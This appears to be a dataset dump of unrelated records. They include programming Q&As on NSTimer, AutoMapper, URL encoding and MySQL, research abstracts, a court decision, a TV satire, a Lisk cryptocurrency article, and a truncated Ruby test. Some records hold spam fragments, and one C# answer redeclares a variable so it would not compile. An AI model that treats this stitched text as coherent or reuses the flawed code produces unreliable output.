text stringlengths 8 5.77M |
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Q:
How can I cancel an NSTimer while it is running? (Objective C)
sorry if my question is really simple. I am new to objective c and wasn't able to get this working with any of the methods I saw online.
Essentially I have a very simple timer app with an NSTimer. I have a cancel button set up but I'm not sure how to get it working.
Here is my code for the timer. It is triggered when the user presses a start button(not shown).
-(void) timerFunction{
NSString *timerSeconds = _timerSecondsField.text;
NSString *doubleconversion = timerSeconds;
double timersecondsval = [doubleconversion doubleValue];
self.cancelVisibility.hidden = NO;
self.timerSecondsField.hidden = YES;
self.restartTimerVisibility.hidden = YES;
self.timerStatus.hidden= NO;
self.timerStatus.text = (@"Timer Running");
[NSTimer scheduledTimerWithTimeInterval:timersecondsval target:self selector:@selector(timerStatusUpdater) userInfo: nil repeats:NO];
}
Essentially I want the cancel button to stop the timer and reset the view. I tried using if statements to change the "timersecondsval" to 0 and to make the "timerStatusUpdater" call my view reset function rather than calling the function that plays the alarm sound, but changing the time didn't work so I would have to wait until the timer ended for it to reset the view. (and the view reset crashed my app).
Here is the code for the view reset:
-(void) newView{
self.cancelVisibility.hidden = YES;
self.timerStatus.hidden = YES;
self.restartTimerVisibility.hidden = YES;
self.timerSecondsField.hidden = NO;
}
I also tried using the cancel function like this to call up a new NSTimer but it didn't cancel out the previous function. Here's the code for that:
- (IBAction)cancelPressed:(id)sender {
[NSTimer scheduledTimerWithTimeInterval:0 target:self selector:@selector(newView) userInfo: nil repeats:NO];
}
So is there a function I can just add to cancel the previous NSTimer so my cancel button works?
Thanks!
A:
You need something like
self.timer = [NSTimer scheduledTimerWithTimeInterval:timersecondsval ...
to start and to cancel you need
self.timer.invalidate;
EDIT
Based on comment - remember you need to declare an ivar for this timer in your interface e.g.
@interface MyClass ()
@property (nonatomic,strong) NSTimer * timer; // My timer
@end
which you can place either in your header or in your class file, depending on wether you like it to be accessible to other classes as well.
Also, note that with ARC you typically declare it as strong.
|
Q:
Conditionally mapping one source type to two destination types
I have a source DTO like this
public class Member
{
public string MemberId {get;set;}
public string MemberType {get;set;}
public string Name {get;set;}
}
The member type can be "Person" or "Company".
And two destination classes like this
public class PersonMember
{
public int PersonMemberId {get;set;}
public string Name {get;set;}
}
public class CompanyMember
{
public int CompanyMemberId {get;set;}
public string Name {get;set;}
}
I want to use Automapper to check what the value of MemberType is in the source class and depending on that type, map to one of the two destination types.
I saw the example of conditionally mapping, but it maps the field it performs the conditional check on. I want to check the condition and map a different field.
var config = new MapperConfiguration(cfg => {
cfg.CreateMap<Foo,Bar>()
.ForMember(dest => dest.baz, opt => opt.Condition(src => (src.baz >= 0)));
});
My goal is something like this -
cfg.CreateMap<Member, PersonMember>()
.ForMember(dest => PersonMember.PersonMemberId, opt => if the source.MemberType == "Person" perform mapping from MemberId, otherwise do nothing);
cfg.CreateMap<Member, CompanyMember>()
.ForMember(dest => CompanyMember.CompanyMemberId, opt => if the source.MemberType == "Company" perform mapping from MemberId, otherwise do nothing);
A:
With automapper you must specify return type on invocation mapper eg. mapper.Map<PersonMember>(member), this tells that return type is PersonMember so you can't return CompanyMember.
You can do something like this:
var configPerson = new MapperConfiguration(cfg => cfg.CreateMap<Member, PersonMember>());
var configCompany = new MapperConfiguration(cfg => cfg.CreateMap<Member, CompanyMember>());
PersonMember personMember = null;
CompanyMember companyMember = null;
switch (member.MemberType )
{
case "PersonMember":
var mapper = configPerson.CreateMapper();
personMember = mapper.Map<PersonMember>(member);
break;
case "CompanyMember":
var mapper = configCompany.CreateMapper();
companyMember = mapper.Map<CompanyMember>(member);
break;
default:
throw new Exception("Unknown type");
break;
}
Or you can try Custom type converters with object as return type.
A:
Introduce some base class Member. Inherit PersonMember, CompanyMember from the new base class.
Then define these mappings:
cfg.CreateMap<Dto.Member, Member>()
.ConstructUsing((memberDto, context) => {
switch (memberDto.MemberType)
{
case "PersonMember":
return context.Mapper.Map<PersonMember>(memberDto);
case "CompanyMember":
return context.Mapper.Map<CompanyMember>(memberDto);
default:
throw new ArgumentOutOfRangeException($"Unknown MemberType {memberDto.MemberType}");
}
});
cfg.CreateMap<Dto.Member, PersonMember>()
.ForMember(dest => PersonMember.PersonMemberId,
opt => opt.MapFrom(src => src.MemberId));
cfg.CreateMap<Dto.Member, CompanyMember>()
.ForMember(dest => CompanyMember.CompanyMemberId,
opt => opt.MapFrom(src => src.MemberId));
Now you can map using _mapperInstance.Map<Member>(memberDto);
|
Chloramphenicol: magic bullet or double-edge sword?
The genetic and genotoxic potentials of chloramphenicol are reviewed and analyzed. Although this widely used antimicrobial agent appears to cause chromosomal effects in somatic cells, in view of the consistent absence of other genetic effects, these cytogenetic abnormalities are ascribed to non-genotoxic causes. It is pointed out that despite its widespread use in human medicine, chloramphenicol has not been systematically tested for genotoxicity. |
Q:
Why is %20 Attached to URL Address localhost
I'm building a node app with mongo. I'm trying to perform basic CRUD on my app resources i.e mongo. Creating and Reading data work fine but the problem occurs when I try to update or delete data from mongo.
I have used morgan to log all requests and in my console terminal, I see %20 attached to my resource end point like:
GET /admin/routes/delete-page/%205a958ac44d47582a841a0f5c 404 4.641 ms - 191
Subsequently my edit and delete requests are failing.
Here's a sample of my delete request code:
router.delete('/delete-page/:page_id', (req, res)=>{
let pageId = req.params.page_id;
console.log(pageId);
Pages.findByIdAndRemove({_id: pageId})
.exec()
.then(result => {
if (result){
console.log(`Page Deleted`);
req.flash('success', 'Page Deleted');
res.redirect('/admin/routes');
} else {
console.log(`Error Deleting Page`);
}
})
.catch(err => {
console.log(`Requested Page Not Found`);
console.error(err);
});
});
Why this is happening?
A:
GET /admin/routes/delete-page/%205a958ac44d47582a841a0f5c
%20 there is a url-encoded space. Something is producing a broken link. Most likely candidate is your view (or whereever that url is generated). My second best guess is a proxy of some kind (faulty nginx rule, for example).
|
Q:
Working with MySql database in C#/ Visual Studio
Hello, I'm currently working on a project which contains a part in which you have to simply import data from database in different ways. My database is hosted on a local MySql server under localhost.
I want to know the most flexible and easy way to execute queries on my MySql database (of course in C# code). I've tried using string interpolation ($"" syntax) for modifying text of the query but I think it is not the best way to do this.
(its getting very complicated when you want to apply some more complex query)
A:
cmd = new MySqlCommand("SELECT * FROM admin WHERE admin_username=@val1 AND admin_password=@val2", MySqlConn.conn);
cmd.Parameters.AddWithValue("@val1", "admin");
cmd.Parameters.AddWithValue("@val2", "pass");
cmd.Prepare();
MySqlDataReader res = cmd.ExecuteReader();
|
High mobility group box chromosomal protein 1: a novel proinflammatory mediator in synovitis.
High mobility group box chromosomal protein 1 (HMGB-1) is a ubiquitous chromatin component expressed in nucleated mammalian cells. It has recently and unexpectedly been demonstrated that stimulated live mononuclear phagocytes secrete HMGB-1, which then acts as a potent factor that causes inflammation and protease activation. Macrophages play pivotal roles in the pathogenesis of arthritis. The aim of this study was to determine whether synovial macrophage expression of HMGB-1 is altered in human and experimental synovitis. Intraarticular tissue specimens were obtained from healthy Lewis rats, Lewis rats with Mycobacterium tuberculosis-induced adjuvant arthritis, and from patients with rheumatoid arthritis (RA). Specimens were immunohistochemically stained for cellular HMGB-1. Extracellular HMGB-1 levels were assessed in synovial fluid samples from RA patients by Western blotting. Immunostaining of specimens from normal rats showed that HMGB-1 was primarily confined to the nucleus of synoviocytes and chondrocytes, with occasional cytoplasmic staining and no extracellular matrix deposition. In contrast, inflammatory synovial tissue from rats with experimental arthritis as well as from humans with RA showed a distinctly different HMGB-1 staining pattern. Nuclear HMGB-1 expression was accompanied by a cytoplasmic staining in many mononuclear cells, with a macrophage-like appearance and an extracellular matrix deposition. Analysis of synovial fluid samples from RA patients further confirmed the extracellular presence of HMGB-1; 14 of 15 samples had HMGB-1 concentrations of 1.8-10.4 microg/ml. The proinflammatory mediator HMGB-1 was abundantly expressed as a nuclear, cytoplasmic, and extracellular component in synovial tissues from RA patients and from rats with experimental arthritis. These findings suggest a pathogenetic role for HMGB-1 in synovitis and indicate a new potential therapeutic target molecule. |
1. Field of the Invention
The invention herein relates to forming models of subsurface earth formations based on data obtained from wells being drilled in those formations.
2. Description of the Related Art
With increased competition in the energy market, oil companies face a daunting task of improving accuracy while reducing cycle time. Technologies in horizontal drilling, real time monitoring, and reservoir modeling have advanced significantly during the last few years. There are still, however, conceptual gaps in knowledge of the actual subsurface structure in well plans by geoscientists and engineers for a well to be drilled.
Typically, the well plan is an earth model based on best available information from surveys, well logs and other reservoir techniques. The interest is to locate a well at particular locations in a formation of interest for optimum production. A considerable number of wells currently being drilled are drilled horizontally through a formation or reservoir of hydrocarbon interest. The objective in such a well is for the well base to have a suitable length or exposure of extent, usually expressed in terms of reservoir feet, in the formation.
In the event that the actual subsurface formations or stratigraphy differ from the well plan, the well bore may be located in the reservoir at a position where less reservoir feet of extent in the reservoir are obtained than were planned. In some instances, even with sophisticated well plans, the actual subsurface formation may differ sufficiently from the plan model so that the well bore does not contact the reservoir of interest for any significant extent.
There have been techniques for forming revised or updated models based on well data. However, so far as is known, conventional techniques to form revised or updated models have taken days or weeks. Thus, the revised data or well model was not available until long after drilling operations had passed the proper location for corrections to be made in steering of the drill bit to better locate the well in the reservoir of interest. |
Interspecific variability of class II hydrophobin GEO1 in the genus Geosmithia.
The genus Geosmithia Pitt (Ascomycota: Hypocreales) comprises cosmopolite fungi living in the galleries built by phloeophagous insects. Following the characterization in Geosmithia species 5 of the class II hydrophobin GEO1 and of the corresponding gene, the presence of the geo1 gene was investigated in 26 strains derived from different host plants and geographic locations and representing the whole phylogenetic diversity of the genus. The geo1 gene was detected in all the species tested where it maintained the general organization shown in Geosmithia species 5, comprising three exons and two introns. Size variations were found in both introns and in the first exon, the latter being due to the presence of an intragenic tandem repeat sequence corresponding to a stretch of glycine residues in the deduced proteins. At the amino acid level the deduced proteins had 44.6 % identity and no major differences in the biochemical parameters (pI, GRAVY index, hydropathy plots) were found. GEO1 release in the fungal culture medium was also assessed by turbidimetric assay and SDS-PAGE, and showed high variability between species. The phylogeny based on the geo1 sequences did not correspond to that generated from a neutral marker (ITS rDNA), suggesting that sequence similarities could be influenced by other factors than phylogenetic relatedness, such as the intimacy of the symbiosis with insect vectors. The hypothesis of a strong selection pressure on the geo1 gene was sustained by the low values (<1) of non synonymous to synonymous nucleotide substitutions ratios (Ka/Ks), which suggest that purifying selection might act on this gene. These results are compatible with either a birth-and-death evolution scenario or horizontal transfer of the gene between Geosmithia species. |
Health In 2 Point 00
Will the Quantified Self Movement Take Off in Health Care?
“Asking science to explain life and vital matters is equivalent to asking a grammarian to explain poetry.” Nassim Nicholas Taleb
Of course the quantified self movement with its self-tracking, body hacking, and data-driven life started in San Francisco when Gary Wolf started the “Quantified Self” blog in 2007. By 2012, there were regular meetings in 50 cities and a European and American conference. Most of us do not keep track of our moods, our blood pressure, how many drinks we have, or our sleep patterns every day. Most of us probably prefer the Taleb to the Lord Kelvin quotation when it comes to living our daily lives. And yet there are an increasing number of early adopters who are dedicated members of the quantified self movement.
“They are an eclectic mix of early adopters, fitness freaks, technology evangelists, personal-development junkies, hackers, and patients suffering from a wide variety of health problems. What they share is a belief that gathering and analysing data about their everyday activities can help them improve their lives.”
According to Wolf four technologic advances made the quantified self movement possible:
“First, electronic sensors got smaller and better. Second, people started carrying powerful computing devices, typically disguised as mobile phones. Third, social media made it seem normal to share everything. And fourth, we began to get an inkling of the rise of a global superintelligence known as the cloud.”
An investment banker who had trouble falling asleep worried that his concentration level at work was suffering. Using a headband manufactured by Zeo, he monitored his sleep quantity and quality, and he also recorded data about his diet, supplements, exercise, and alcohol consumption. By adjusting his alcohol intake and taking magnesium supplements, he has increased his sleeping by an hour and a half from the start of the experiment.
A California teacher used CureTogether, an online health website, to study her insomnia and found that tryptophan improved both her sleep and concentration. As an experiment, she stopped the tryptophan and continued to sleep well, but her ability to concentrate suffered. The teacher discovered a way to increase her concentration while curing her insomnia. Her experience illustrates a phenomenon that Wolf has noticed: “For many self-trackers, the goal is unknown…they believe their numbers hold secrets that they can’t afford to ignore, including answers to questions they have not yet thought to ask.”
Employers are becoming interested in this approach in connection with their company sponsored wellness programs. Suggested experiments include using the Jawbone UP wristband to see if different amounts of sleep affect work performance such as sales or using the HeartMath emWave2 to monitor pulse rates for determining what parts of the workday are most stressful.
Stephen Wolfram recently wrote a blog illustrating just how extensive these personal analytics experiments in self-awareness could become when coupled with sophisticated technologies. Wolfram shares graphs of his “third of a million emails I’ve sent since 1989” and his more than 100 million keystrokes he has typed.
Anyone interested in understanding just how far reaching this approach may become in the future should examine the 23 pages of projects being conducted by the MIT Media Center. My favorites from this fascinating list include automatic stress recognition in real-life settings where call center employees were monitored for one week of their regular work; an emotional-social intelligence toolkit to help autism patients learn about nonverbal communication in a natural, social context by wearing affective technologies; and mobile health interventions for drug addiction and PTSD where wearable, wireless biosensors detect specific physiological states and then perform automatic interventions in the form of text/images plus sound files and social networking elements.
It is easy to get caught up in the excitement of all this new technology and to start crafting sentences about how the quantified self movement will “transform” and “revolutionize” health care and spawn wildly successful new technology companies.
Jackie Fenn’s “hype cycle” concept has identified the common pattern of enthusiasm for a new technology that leads to the Peak of Inflated Expectations, disappointment that results in the Trough of Disillusionment and gradual success over time that concludes in the Slope of Enlightenment and the Plateau of Productivity. Fenn’s book, Mastering the Hype Cycle: How to Choose the Right Innovation at the Right Time can help all of us realize that not all new technologies becomes killer applications.
Jay Parkinson, MD has also written a blog that made me pause before rushing out to invest in quantified self companies or predict the widespread adoption of this approach by all patients. Parkinson divides patients into three groups. The first group is the young, active person who defines health as “not having to think about it until they get sick or hurt themselves.” The second group is the newly diagnosed patient with a chronic illness that will affect the rest of their lives. After a six month period of time coming to terms with their illness, Parkinson believes this group moves closer and closer to group one who do not have to think about their disease. The third group are the chronically ill who have to think about their disability every day. Parkinson concludes that “it’s almost impossible to build a viable social media business that focuses on health. It’s the wrong tool for the problem at hand.”
The quantified self movement should be closely monitored by all interested in the future of the American health care delivery system. The potential to improve the life of patients with chronic diseases is clearly apparent; whether most people will use the increasingly sophisticated tools being developed is open to debate.
Kent Bottles, MD, is past-Vice President and Chief Medical Officer of Iowa Health System (a $2 billionhealth care organization with 23 hospitals). He was responsible for the day-to-day operations of a large education and research organization in Michigan prior to his work with in Iowa with IHS. Kent posts frequently at his blog, Kent Bottles Private Views.
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He should also check if any of you appliances blue diamond plumbing is frayed or singed.
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can result from lack of following the basics of math,
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Since you will be set for a prolonged wait. You can tell them that when they want to ensure that you’ll get the vital certification and education.
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WHAT WE’RE LOOKING FOR
Op-eds. Crossposts. Columns. Great ideas for improving the health care system. Pitches for healthcare-focused startups and business.Write ups of original research. Reviews of new healthcare products and startups. Datad riven analysis of health care trends. Policy proposals. E-mail us a copy of your piece in the body of your email or as a Google Doc. No phone calls please!
HEALTH SYSTEM $#@!!!
If you’ve healthcare professional or consumer and have had a recent experience with the U.S. health care system, either for good or bad, that you want the world to know about, tell us about it. Have a good health care story you think we should know about? Send story ideas and tips to editor@thehealthcareblog.com. |
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About PDTantisocial
Location:
Phoenix, AZ, 602 PHX
Interests:
Music, etc.
Occupation:
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Signature
In the world I see, you're stalking elk through the damp canyon forest around the ruins of Rockefeller Center. You'll wear leather clothes that will last you the rest of your life. You'll climb the wrist-thick kudzu vines that wrap the Sears Tower. And when you look down, you'll see tiny figures pounding corn, laying strips of venison on the empty carpool lane of some abandoned superhighway. |
Currently automotive vehicles are provided with an audio system having a signal processor configured to provide a predetermined audio signal. The audio signal is determined by the vehicle setting and the destination of the vehicle. In particular, the audio signal may be configured to account for vehicle settings (to include the various vehicle interior components) and the destination of the vehicle so as to provide a desired audio output.
It should be appreciated that materials may affect the audio output. Accordingly, the audio signal is tuned to account for the different interior components so as to generate a predetermined and desired audio output. Thus, manufacturers provide a plurality of different audio systems each of which is configured for a specific vehicle type and the destination of the vehicle type which may result in numerous different audio systems.
Accordingly, it remains desirable to have an audio system configured to be used in multiple vehicles arriving at multiple destinations so as to reduce the number of signal processors available to choose from thereby streamlining the manufacturing process and reducing cost. |
A-League History
W-League History
Victory have the belief
Interim Melbourne Victory coach Mehmet Durakovic has hailed the belief of his players after they came from behind and then survived Surat Sukha's late send-off to revive their AFC Asian Champions League hopes.
Interim Melbourne Victory coach Mehmet Durakovic has hailed the belief of his players after they came from behind and then survived Surat Sukha's late send-off to revive their AFC Asian Champions League hopes.
Under 10 minutes before half-time at Docklands Stadium the home side conceded a goal to Chen Tao but their response was impressive as Carlos Hernandez hauled his team level with a free kick nearing the break before Kevin Muscat's penalty turned the match on its head.
The drama didn't end there though as Sukha was given his marching orders in the 82nd minute and the visitors laid siege to Victory's goal but Durakovic's men held firm much to his delight.
"The boys never stopped from the start until the end of the game," Durakovic said.
"It was a fantastic result."
"I thought the boys played really well in the first half and then the second half we battled but if we had put those chances away we could've come away with a 3 or 4-1 win."
"Having said that the boys played well."
"There is belief in this squad, there is always a belief in these players."
Durakovic was also full of praise for both Hernandez and youngster Mathew Foschini.
"He absolutely did quite well tonight," Durakovic said of Foschini.
"Matthew had a really good game in China, it works wonders when you give a young kid belief. I've got no qualms playing him week in, week out."
"(And) Carlos has been fantastic."
"He has been unbelievable the last two weeks, full credit to him."
With Matthew Kemp unavailable until next season because of injury and Sukha to now miss the final home game in the group stage against Gamba Osaka on May 4 through suspension, Durakovic could also have to replace striker Robbie Kruse.
Kruse was stretchered off with a knee injury after the break but Durakovic is hopeful he will be fit to face Gamba Osaka, while he also indicated either Petar Franjic or Diogo Ferreira is likely to come in for Sukha.
"The physios are looking at him right now, he did his knee apparently, (but) I think he should be OK," Durakovic said of Kruse.
"We'll work hard on the pitch and whoever does well in the training sessions will get the call-up (to replace Sukha)." |
Pappas v AT&T Inc. (2017 NY Slip Op 07191)
Pappas v AT&T Inc.
2017 NY Slip Op 07191
Decided on October 12, 2017
Appellate Division, First Department
Published by New York State Law Reporting Bureau pursuant to Judiciary Law § 431.
This opinion is uncorrected and subject to revision before publication in the Official Reports.
Decided on October 12, 2017
Manzanet-Daniels, J.P., Mazzarelli, Webber, Oing, JJ.
4665 150295/13
[*1]Stan Pappas, et al., Plaintiffs-Respondents,
vAT & T Inc., et al., Defendants-Appellants, Johnson Controls, Inc., Defendant.
Lavin, O'Neil, Cedrone & DiSipio, New York (Francis F. Quinn of counsel), for appellants.
Silberstein, Awad & Miklos, P.C., Garden City (James E. Baker of counsel), for respondents.
Order, Supreme Court, New York County (Arlene P. Bluth, J.), entered January 10, 2017, which, to the extent appealed from, denied defendants AT & T Inc. and AT & T Corp.'s motion for summary judgment dismissing the common-law negligence and Labor Law § 200 claims as against them, unanimously affirmed, with costs.
Plaintiff Stan Pappas, an experienced electrician, was injured at defendants' premises when he attempted to perform work on electrical equipment that had not been de-energized. Defendants contend that plaintiff, who was responsible for checking for voltage on any equipment or component before working on it, failed to properly perform a voltage test with a tic tracer and that that failure was the sole proximate cause of the accident.
In opposition, plaintiff raised an issue of fact whether the electrical prints or drawings supplied by defendants failed to show the locations of potential transformers that may have been the source of the voltage that injured him. Contrary to defendants' argument that the accident would not have happened but for plaintiff's failure to perform the voltage test properly, plaintiff's expert said that a tic tracer test performed without knowledge of where a potential transformer was connected was inconclusive. Defendants' failure to show that potential transformers not shown on the drawings were not the source of the voltage renders the doctrine of res ipsa loquitur, on which they rely, inapplicable (see generally James v Wormuth, 21 NY3d 540, 546 [2013]).
THIS CONSTITUTES THE DECISION AND ORDER
OF THE SUPREME COURT, APPELLATE DIVISION, FIRST DEPARTMENT.
ENTERED: OCTOBER 12, 2017
CLERK
|
CBS at the TCAs: Everything is awesome, so what is there to talk about?
In a show of strength that made ABC president Paul Lee’s “Work It is Shakespeare, basically” peacocking look sort of, I don’t know, desperate, CBS president Nina Tassler pulled the ultimate power move at today’s TCA panel by nearly canceling her network’s session entirely. After all, what does CBS need from critics? It didn’t get to be on top by courting their favor—quite the opposite, really—and it answers to the heartland, who demands only the reliable drone of tidy, repetitive crime procedurals and dick jokes to soothe them after a hard day at the Jesus-truck factory. But because enough critics whined that they wouldn’t get to write sarcastic summaries like this one if she balked, Tassler relented and scheduled the CBS panel for the early-morning hours, deviously picking a time slot when she knew most TCA attendees would still be fighting hangovers and thus be too groggy to get any good digs in about ¡Rob!.
Not that she actually came out and said any of that, as our own Todd VanDerWerff—who arrived dressed in his homemade 2 Broke Girls waitress costume, not that he’d ever admit it—reports that Tassler played it humble throughout. This included referring to all of the network’s huge hits like they were plucky little underdogs, saying that she was “intimidated” by the critics, and starting her presentation by insisting that, really, she’s a very nice person. Whereupon, every attendee immediately vowed to stop making fun of her network because come on, she seems cool.
Again, not that their approval even matters: Other than mentioning that she’s glad that at least The Good Wife gets good reviews (in addition to being really, really popular with rich people), Tassler has zero concern that critics generally don’t care for CBS shows, because she’s “very proud” of all of them. And despite the barbs, they’ve all run for years and will continue to do so, as even their reruns best the new stuff on other networks. It’s not broke so they’re not going to fix it, in other words, as CBS is content to let shows like NCIS run until Mark Harmon dies, or technology advances to where they can clone Mark Harmon.
So without any problems to address or any new shows to announce (Who needs ‘em?), Tassler mostly just talked about what CBS gets right and why it is awesome. “Strong storytelling. Problem-solving. Mysteries,” Tassler rattled off as she enumerated all the things that they look for in shows and that old people like. “That being said, audiences need to engage with characters,” Tassler added, allowing that her procedurals’ indistinguishable detective ciphers all need to have some sort of personality and/or history of a drinking problem or something, just so they seem recognizably human. This, in addition to a “core morality” that distinguishes them from the goat-slaughtering pagans having sex with intestines on, say, Fox.
As for the broad comedies that sometimes push that “core morality” with a bunch of easy sex jokes and, in the case of 2 Broke Girls, racist caricatures, Tassler admitted that in the latter case, at least, they kind of agree, noting that they’ve asked creator Michael Patrick King to maybe develop—or "dimensionalize"—them beyond hacky stereotypes. Still, “They’re an equal opportunity offender; everybody gets their digs,” Tassler said, pointing out the obvious equivalency between mocking Korean immigrants and Brooklyn hipsters, because we’re all just colors in the rainbow. Besides, their comedies are “laugh-out-loud funny,” with Tassler going so far as to describe people actually “belly-laughing”—the most American laughter there is, as opposed to the smarmy, repressed hums that issue forth from the lips of critics while they watch their precious Community.
On the drama side, they’re pleased with the additions of A Gifted Man (which is performing adequately enough not to cancel, though they haven’t made any official decisions yet) and especially the top-rated Person Of Interest, which Tassler repeatedly compared to the likes of Batman by referring to Taraji P. Henson’s character as “sort of the Commissioner Gordon” and noting that “Jonah Nolan has a great deal of talent within the graphic novel space,” whatever that means. It certainly sounds like something! They’re also looking forward to Richard Price’s midseason cop drama The 2-2, which has been renamed NYC 22 since everyone started calling it The Tutu, and also as a nod to it being the 22nd show about New York City cops to air during the week.
Wrapping things up by musing about the future, Tassler mentioned that they’re still trying to find the “right companion” for “monster hit” The Big Bang Theory, which is so amazing that everything that follows it withers in comparison. To that end, she also promised that they’ve got some “really unique, clever ideas” for the fall—“all of which will be tossed aside in favor of crime dramas,” Todd writes in his notes, being a cynical jerk here even though Tassler already said she’s a really nice person. Fortunately for Tassler, running CBS means she doesn’t have to listen to the likes of Todd. |
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Cloud mining involves financial risks and may not be appropriate for all people. The information presented here is for information and educational purposes only and should not be considered an offer or solicitation to invest to Iqmining or elsewhere. Any investment decisions that you make are solely your responsibility. IQ mining does not provide service for USA residents. |
Q:
How fast can I read two analogue sensors using MCP3008 ADC?
I need to get measurements of voltage and current using two sensors connected through an MCP3008 ADC to the Raspberry Pi. I need to get the voltage and current waveforms simultaneously and compare them to find phase difference, etc. But since only one channel of the MCP3008 can be queried at once, I'll have to query both the sensors one after another.
How fast can I query them?
A:
The standard Pi Linux SPI driver can execute about 20 thousand transactions per second.
So to read two channels from a MCP3008 should take about 0.1 milliseconds.
|
Day
As the home crowd chanted his nickname – “CP3!” At the close of last year’s Finals, Rockets General Manager Daryl Morey was famously quoted as saying he’d have to “up his risk profile” if his team was to compete with Golden State. The...
It’ll engage with you, but it’s hardly the most natural conversationalist. For example, if you have plugged in a pair of headphones, it will show you action to play music you were listing to earlier. Well, the exact same feature is coming to Android P. Thanks, Apple!...
As always, hindsight is 20/20 here and the Sixers rightfully lost the game and the series, the offseason still carries on as normal and the Celtics move on to face the Cavaliers. The Philadelphia 76ers have morphed from laughingstock to legitimate Eastern Conference contender in...
It comes less than two months after a historic summit between Kim Jong Un and South Korean President Moon Jae-in on April 27 in the DMZ, where Kim became the first North Korean leader to set foot in the South since 1953. It was the first time that the leaders of China and Taiwan... |
South Africa GDP From Services
GDP From Services in South Africa decreased to 645928.42 ZAR Million in the fourth quarter of 2018 from 647524.22 ZAR Million in the third quarter of 2018. GDP From Services in South Africa averaged 273623.59 ZAR Million from 1960 until 2018, reaching an all time high of 647524.22 ZAR Million in the third quarter of 2018 and a record low of 66256 ZAR Million in the first quarter of 1960.
GDP From Services in South Africa is expected to be 644728.00 ZAR Million by the end of this quarter, according to Trading Economics global macro models and analysts expectations. Looking forward, we estimate GDP From Services in South Africa to stand at 658532.00 in 12 months time. In the long-term, the South Africa GDP From Services is projected to trend around 686481.00 ZAR Million in 2020, according to our econometric models.
Trading Economics members can view, download and compare data from nearly 200 countries, including more than 20 million economic indicators, exchange rates, government bond yields, stock indexes and commodity prices.
South Africa GDP From Services
This page provides the latest reported value for - South Africa Gdp From Services - plus previous releases, historical high and low, short-term forecast and long-term prediction, economic calendar, survey consensus and news. South Africa GDP From Services - actual data, historical chart and calendar of releases - was last updated on May of 2019. |
Monday, June 22, 2009
The Barrie Examiner posted this story Monday about the Simcoe County District School Board's decision to close Prince of Wales school in the urban core of Canada's fastest growing city. Some city councillors are upset the board is neglecting the needs of the city's downtown at the same time the province is telling Simcoe County and more specifically the City of Barrie how it wants to focus growth in the area instead of continuing urban sprawl ad naseum.
"Asking the province for special funding may be a long shot, but I'm hopeful that these ministries will back up their focus on downtown Barrie with an investment in schools," (city Coun. Jeff) Lehman said."We are not asking the province to overturn the board decision, but to provide new, directed funding, given that Prince of Wales is the one and only elementary school in a provincial urban growth centre within Simcoe County."Lehman said the new growth allocations in Simcoe Area: A Vision for Growth make all the board's previous planning work out of date."They need to re-examine all the numbers before they proceed to close any schools, because everything just changed," he said, adding the school is vital to that area of Barrie.
It's an interesting idea, but I quibble with one point. This school is not the only elementary school in the province's preferred growth centre in the county. Barrie's urban borders do extend beyond this neighbourhood and there are plenty more schools within its borders.The request to halt the closure until the new study's numbers are incorporated is a stalling tactic. The Greater Golden Horseshoe growth plan itself is almost five years old and the board (and city) have know the province's intensification target for the area for some time.Again, intensification and new residential development do not always equal stable populations of school-aged children. Those that do add children to the area likely want those kids to attend the best facilities possible. |
The Lisk network is far from perfect: recurring topics in the Lisk community channels regard the alteration of the consensus algorithm, the centralization of the system and the high fees of the network. Are these real problems? Could the Lisk network benefit from these changes? This article analyses the key points of the issues, the proposals to improve them and the position of the Lisk Foundation on the different matters.
Dynamic Fees
Differently from the other two issues, this problem is globally recognized. Nowadays the fees on the Lisk network are very high. The high cost of transaction means that it is really expensive for small investors to vote for delegates, as the average shared reward is too low and the voters need to wait for a long period of time (depending on their stake, e.g. 1 month if you hold 1000 Lisk) to make profits or even reach a break-even point on their investment on delegates. Changing the fee system is one strategy that the Foundation has been taking into account: thanks to a system of dynamic fees it would be possible to know in advance the lowest fee that can be paid for a transaction. This will make possible for small and medium investors to vote for delegates, change their current votes and actively participating in the Lisk ecosystem, indirectly improving the decentralization of the network. For more in-depth information on the dynamic fee system feel free to take a look at this explanation: https://www.youtube.com/watch?v=w27spPqKvyI
Change of consensus
Would it be possible to alter the current consensus, by increasing or diminishing the number of delegates? Technically yes, the Lisk Foundation could work on it, but this initiative could have a lot of different consequences.
For example, by doubling the number of delegates and keeping the votes at 101, this improvement would result in a similar situation as to reducing the number of votes at 50, whilst still having 101 delegates; however, whilst the first option would result in a soft fork, the second one would be much harder to implement, as it would need a hard fork (source: https://www.reddit.com/r/Lisk/comments/88y83m/improvements_on_lisks_dpos_a_hybrid_of_dpos_and/).
Furthermore, the first proposal wouldn’t really improve the current system, as anyone will still be able to propose a delegate and it will be impossible to prevent current delegates from running another node. Instead, this effort will probably result in a more centralized system. Other DPos, such as Ark and Rise chose to move in another direction, allowing only one vote for each wallet. Looking at the way other DPos system solved the centralization issue could bring interesting insights and solutions. It is also important to mention that changes to the fee system could also bring benefits to the consensus, as more and more people could vote and people could easily change their votes. Therefore, the two issues can be seen as linked. Improvements to the first issue will most likely result in improvements to the second one.
Delegates Cartels
The Lisk platform often receives a great deal of criticism for being more centralized than other platforms (more than 50% of Lisk is owned by a small group of people). As a result, there’s been talks of a “delegate cartel”, by which delegates leverage their voting power to vote for themselves.
Indeed, among the proposed solutions (in addition to dynamic fees and changes of consensus) there’s the possibility of introducing a limit of votes, for example allowing one vote per voter.
Giving voting right to anyone holding more than 50-100 Lisk, thanks to lower fees or higher reward distributions, it would be possible to enlarge the voting population.
The Lisk Foundation is very well aware of the problem; they’re very active on many communication channels and involved in discussions with the community to brainstorm about possible solutions.
To conclude, we can argue that currently the Lisk platform is experiencing several problems of centralization and regarding the management of the DPos system and the delegates. This article
highlighted three main issues: high fees, changes of consensus and centralization of delegates. However, these three topics shouldn’t be seen as separate issues, but rather as interconnected. By working on one of them, the positive improvements will steam to the other issues, improving them and eventually solving these problems.
Stay tuned, as possible solutions are already work in progress; the Lisk community is very transparent and ongoing developments are always posted on their communication channels.
———————————————-
Lisk Magazine is a project supported by Lisk Italian Group. |
require "test_helper"
describe Vanity::Configuration do
let(:config) do
config = Vanity::Configuration.new
config.logger = $logger
config
end
it "returns default values" do
assert_equal Vanity::Configuration.new.collecting, Vanity::Configuration::DEFAULTS[:collecting]
end
describe "overriding defaults" do
it "returns overridden values" do
config.collecting = true
assert_equal config.collecting, true
end
end
describe "connection_params" do
before do
FakeFS.activate!
end
after do
FakeFS.deactivate!
FakeFS::FileSystem.clear
end
describe "using the default config file & path" do
it "returns the connection params" do
FileUtils.mkpath "./config"
File.open("./config/vanity.yml", "w") do |f|
